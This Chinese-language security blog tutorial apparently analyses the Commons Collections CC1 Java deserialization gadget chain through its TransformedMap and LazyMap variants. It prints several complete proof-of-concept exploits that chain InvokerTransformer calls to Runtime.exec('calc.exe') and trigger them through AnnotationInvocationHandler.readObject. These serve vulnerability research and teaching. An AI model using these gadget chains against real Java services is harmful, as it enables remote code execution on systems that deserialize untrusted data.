CommonCollections1反序列化链分析

本文涉及的产品
系统运维管理,不限时长
简介: CommonCollections1反序列化链分析

CommonCollections1简称CC1链,Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。Commons Collections组件里面定义了一个Transformer接口,InvokerTransformer实现了Transformer接口,且可以执行任意方法,这也是CC1链中的主角。

复现环境

java < 8u71(再往后它的AnnotationInvocationHandler中readObject函数有改动)

CommonsCollections <= 3.2.1

TransformedMap

网上CC1链的构造有两种,一个是使用TransformedMap类,另一个是利用到LazyMap类,先来看看较为简单的TransformedMap。

先看看如下一段代码

package ysoserial;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.*;
public class Test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer("exec", new Class[]{String.class},
                new Object[]{"calc"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");
    }
}

这段代码运行结果如下

640.png

很明显执行了我们代码中定义的calc命令,那我们来逐行分析一下看看代码中是怎么执行命令的。

TransformedMap

Map innerMap = new HashMap();  //20行

创建了一个HashMap对象赋值给innerMap

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);  //21行

调用了TransformedMap里的decorate方法 ,且把innerMap 传了进来,后面两个参数我们稍后在分析,看看TransformedMap.decorate这个方法

640.png

new了一个TransformedMap,再跟进

image.png

把传进的参数进行赋值了,根据参数传递关系,这里的keyTransformer和valueTransformer分别为null和transformerChain。

640.png

outerMap.put("test", "xxxx");

根据outerMap.put方法看看里面做了什么

640.png

调用了transformKey和transformValue方法

640.png

判断是否等于null,是null的话就等于传进来的object,不是null,则执行keyTransformer和valueTransformer的transform方法。

那现在我们把第20行、21行、22行代码联系起来

Map innerMap = new HashMap();  //20行
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);  //21行
outerMap.put("test", "xxxx");  //22行

TransformedMap.decorate用来修饰innerMap,也就是我们创建的HashMap,当里面的值不为null且发生改变时触发TransformedMap里的回调函数keyTransformer和valueTransformer。

ChainedTransformer

这里触发了transformerChain回调函数,执行了transformerChain里面的transform方法,transformerChain是在第19行中创建出来的

Transformer transformerChain = new ChainedTransformer(transformers);  //19行

实例化了ChainedTransformer把transformers传入,transformers我们后看,先跟进ChainedTransformer看看里面的transform方法

640.png

通过for循环把iTransformers数组遍历出来,依次调用transform方法,且是前⼀个回调返回的结果,作为后⼀个回调的参数传⼊。那我们去看看iTransformers也是我们第19 行代码传入的transformers里面定义。

其定义在14-18行

ConstantTransformer

Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer("exec", new Class[]{String.class},
                new Object[]{"calc"}),
        };

创建一个ConstantTransformer实例,并把Runtime.getRuntime()获取到的对象传入,跟进

直接赋值,然后通过回调transform把赋值后的iConstant返回

640.png

InvokerTransformer

InvokerTransformer类是代码执行的关键,看看这里是怎么做的,创建一个InvokerTransformer,传入三个参数分别为("exec", new Class[]{String.class},new Object[]{"calc"})跟进

640.png

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }
    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

依次赋值然后回调transform,然后通过反射执行iMethodName方法,这样就达到了执行exec该方法的目的

Transformer

一个接口,里面定义了一个未实现的transform方法,其中ChainedTransformer、ConstantTransformer、InvokerTransformer都实现了Transformer接口

640.png

反序列化

package ysoserial;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.*;
public class Test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer("exec", new Class[]{String.class},
                new Object[]{"calc"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");
    }
}

通过上面的代码分析,我们已经搞明白了命令执行的原理,把一个集合放入TransformedMap.decorate,且参数里面传入我们精心构造的transformerChain,最终通过outerMap.put的方法去触发回调,达到执行transformerChain里的一系列回调,最终执行我们定义的代码。

以上构造都是在本地运行,那么在反序列化中,我们该以什么样的思路去构造POC呢?

回想本地的POC,我们是outerMap.put触发transform回调,那么反序列化,我们就要寻找一个类其里面的readObject方法里面存在某个方法可以触发到transform回调。

这个类就是

sun.reflect.annotation.AnnotationInvocationHandler

AnnotationInvocationHandler.readObject里触发回调的方法就是

var5.setValue

640.png

所以可以构造如下POC去进行调试

package ysoserial;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections2 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{
                String.class,
                Class[].class}, new Object[]{"getRuntime",
                new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class,
                Object[].class}, new Object[]{null, new Object[0]
            }),
            new InvokerTransformer("exec", new Class[]{String.class},
                new String[]{
                    "calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null,
            transformerChain);
        Class clazz =
            Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class,
            Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)
            construct.newInstance(Retention.class, outerMap);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

我们先不用去管为什么这样去构造POC,先去看看反序列化里面的逻辑,然后再回头来看为什么要这样去构造POC。在如下位置打上断点,进行调试程序。

640.png

程序已经成功走到断点处

640.png

一步一步走一下看看,首先拿到我们的反序列化流

640.png

这里获取传过来的注解

640.png

遍历var4里面的元素赋值给var5,而var4是this.memberValues.entrySet().iterator()获取的迭代器,this.memberValues其实就是我们反射构造器里传进来的outerMap

640.png

那最后直接条跳到最后一个断点

640.png

640.png

跟进这个对象的setValue方法

640.png

调用了this.parent.checkSetValue,而这里this.parent就是我们熟悉的TransformedMap,再往里面跟一步

640.png

transform回调就在这里被执行了,直接让程序走到最后,发现执行命令成功弹出了计算机

640.png

链子是通了,但是为什么要用如下的方式去构造POC呢

package ysoserial;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections2 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{
                String.class,
                Class[].class}, new Object[]{"getRuntime",
                new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class,
                Object[].class}, new Object[]{null, new Object[0]
            }),
            new InvokerTransformer("exec", new Class[]{String.class},
                new String[]{
                    "calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null,
            transformerChain);
        Class clazz =
            Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class,
            Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)
            construct.newInstance(Retention.class, outerMap);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

对比最终的反序列化POC和最初的如下一段代码

package ysoserial;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.*;
public class Test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer("exec", new Class[]{String.class},
                new Object[]{"calc"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");
    }
}

发现最大的区别就是获取Runtime这个对象的方式不同了

最初获取方式如下

640.png

最终POC获取方式如下

640.png

这是因为Runtime这个类是没有实现Serializable接口的,直接通过最初的Runtime.getRuntime()方式获取对象,在序列化过程中会报错,导致得不到流。

还一个问题为什么用Retention.class注解

640.png

这是因为AnnotationInvocationHandler里逻辑里有个如下判断

640.png

而让程序这个if条件为真的条件就是

  1. 1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是
    Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
  2. 2. 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素

这也是为什么使用Retention的原因

640.png

当然这种注解不止是Retention,也可以用其他满足条件的注解替换。

LazyMap

LazyMap这个类也是ysoserial这款工具里CC1使用的类,LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承AbstractMapDecorator。

先上POC

package ysoserial;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{
                String.class,
                Class[].class}, new Object[]{"getRuntime",
                new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{
                Object.class,
                Object[].class}, new Object[]{null, new
                Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class
            },
                new String[]{"calc.exe"}),
        };
        Transformer transformerChain = new
            ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        Class clazz =
            Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class,
            Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)
            construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map)
            Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class},
                handler);
        handler = (InvocationHandler)
            construct.newInstance(Retention.class, proxyMap);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
            ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

可以看到第一处与TransformedMap利用链不同的地方就是在42行使用了LazyMap.decorate方法,跟进看看

640.png

把我们构造好的transformerChain,传递给了factory,那怎么让它去调用factory里的回调函数transform呢,这要看LazyMap里的get方法了。

640.png

里面的逻辑是当get过来的值找不到时,就会调用factory.transform,所以我们还是要去寻找一个类,这个类里存在调用get这个方法。当然LazyMap这条链还是利用了sun.reflect.annotation.AnnotationInvocationHandler,但是AnnotationInvocationHandler这个类的readObject方法里面没有直接去调用get方法

 private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;
        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }
        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();
        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }
    }

但是AnnotationInvocationHandler这个类是实现了InvocationHandler这个接口的,且AnnotationInvocationHandler类的invoke方法里面是有调用get这个方法的

 public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            byte var7 = -1;
            switch(var4.hashCode()) {
            case -1776922004:
                if (var4.equals("toString")) {
                    var7 = 0;
                }
                break;
            case 147696667:
                if (var4.equals("hashCode")) {
                    var7 = 1;
                }
                break;
            case 1444986633:
                if (var4.equals("annotationType")) {
                    var7 = 2;
                }
            }
            switch(var7) {
            case 0:
                return this.toStringImpl();
            case 1:
                return this.hashCodeImpl();
            case 2:
                return this.type;
            default:
                Object var6 = this.memberValues.get(var4);
                if (var6 == null) {
                    throw new IncompleteAnnotationException(this.type, var4);
                } else if (var6 instanceof ExceptionProxy) {
                    throw ((ExceptionProxy)var6).generateException();
                } else {
                    if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                        var6 = this.cloneArray(var6);
                    }
                    return var6;
                }
            }
        }
    }

640.png所以ysoserial的作者就想到了通过对象代理的方法去调用到这个get,这也是我们在POC的52-57行中看到的第二处与TransformedMap不同的地方。

运行POC也是可以成功执行命令的

640.png

参考文献

https://t.zsxq.com/ZNZrJMZ //p牛java安全漫谈系列

目录
相关文章
|
存储 网络协议 安全
URLDNS反序列化链分析
URLDNS反序列化链分析
148 0
|
缓存 安全 Java
CommonCollections6反序列化链分析
在Java 8u71以后,CC1链就不能在利用了,因为sun.reflect.annotation.AnnotationInvocationHandler这个类里面的readObject方法逻辑已经发生了改变。修改后的逻辑会把我们构造的Map重新put到LinkedHashMap里当中去,我们构造的反序列化链也随之失效。所以我们需要寻找一个新的类去去解决高版本无法利用问题,而CommonCollections6在commons-collections库里一个比较通用的链。
168 0
|
4月前
|
存储 Java
【IO面试题 四】、介绍一下Java的序列化与反序列化
Java的序列化与反序列化允许对象通过实现Serializable接口转换成字节序列并存储或传输,之后可以通过ObjectInputStream和ObjectOutputStream的方法将这些字节序列恢复成对象。
|
4月前
|
存储 开发框架 .NET
解锁SqlSugar新境界:利用Serialize.Linq实现Lambda表达式灵活序列化与反序列化,赋能动态数据查询新高度!
【8月更文挑战第3天】随着软件开发复杂度提升,数据查询的灵活性变得至关重要。SqlSugar作为一款轻量级、高性能的.NET ORM框架,简化了数据库操作。但在需要跨服务共享查询逻辑时,直接传递Lambda表达式不可行。这时,Serialize.Linq库大显身手,能将Linq表达式序列化为字符串,实现在不同服务间传输查询逻辑。结合使用SqlSugar和Serialize.Linq,不仅能够保持代码清晰,还能实现复杂的动态查询逻辑,极大地增强了应用程序的灵活性和可扩展性。
155 2
|
1月前
|
JSON 数据格式 索引
Python中序列化/反序列化JSON格式的数据
【11月更文挑战第4天】本文介绍了 Python 中使用 `json` 模块进行序列化和反序列化的操作。序列化是指将 Python 对象(如字典、列表)转换为 JSON 字符串,主要使用 `json.dumps` 方法。示例包括基本的字典和列表序列化,以及自定义类的序列化。反序列化则是将 JSON 字符串转换回 Python 对象,使用 `json.loads` 方法。文中还提供了具体的代码示例,展示了如何处理不同类型的 Python 对象。
|
1月前
|
存储 安全 Java
Java编程中的对象序列化与反序列化
【10月更文挑战第22天】在Java的世界里,对象序列化和反序列化是数据持久化和网络传输的关键技术。本文将带你了解如何在Java中实现对象的序列化与反序列化,并探讨其背后的原理。通过实际代码示例,我们将一步步展示如何将复杂数据结构转换为字节流,以及如何将这些字节流还原为Java对象。文章还将讨论在使用序列化时应注意的安全性问题,以确保你的应用程序既高效又安全。
|
2月前
|
存储 Java
Java编程中的对象序列化与反序列化
【10月更文挑战第9天】在Java的世界里,对象序列化是连接数据持久化与网络通信的桥梁。本文将深入探讨Java对象序列化的机制、实践方法及反序列化过程,通过代码示例揭示其背后的原理。从基础概念到高级应用,我们将一步步揭开序列化技术的神秘面纱,让读者能够掌握这一强大工具,以应对数据存储和传输的挑战。
|
2月前
|
存储 安全 Java
Java编程中的对象序列化与反序列化
【10月更文挑战第3天】在Java编程的世界里,对象序列化与反序列化是实现数据持久化和网络传输的关键技术。本文将深入探讨Java序列化的原理、应用场景以及如何通过代码示例实现对象的序列化与反序列化过程。从基础概念到实践操作,我们将一步步揭示这一技术的魅力所在。
|
1月前
|
存储 缓存 NoSQL
一篇搞懂!Java对象序列化与反序列化的底层逻辑
本文介绍了Java中的序列化与反序列化,包括基本概念、应用场景、实现方式及注意事项。序列化是将对象转换为字节流,便于存储和传输;反序列化则是将字节流还原为对象。文中详细讲解了实现序列化的步骤,以及常见的反序列化失败原因和最佳实践。通过实例和代码示例,帮助读者更好地理解和应用这一重要技术。
38 0
|
3月前
|
JSON 安全 编译器
扩展类实例的序列化和反序列化
扩展类实例的序列化和反序列化
41 1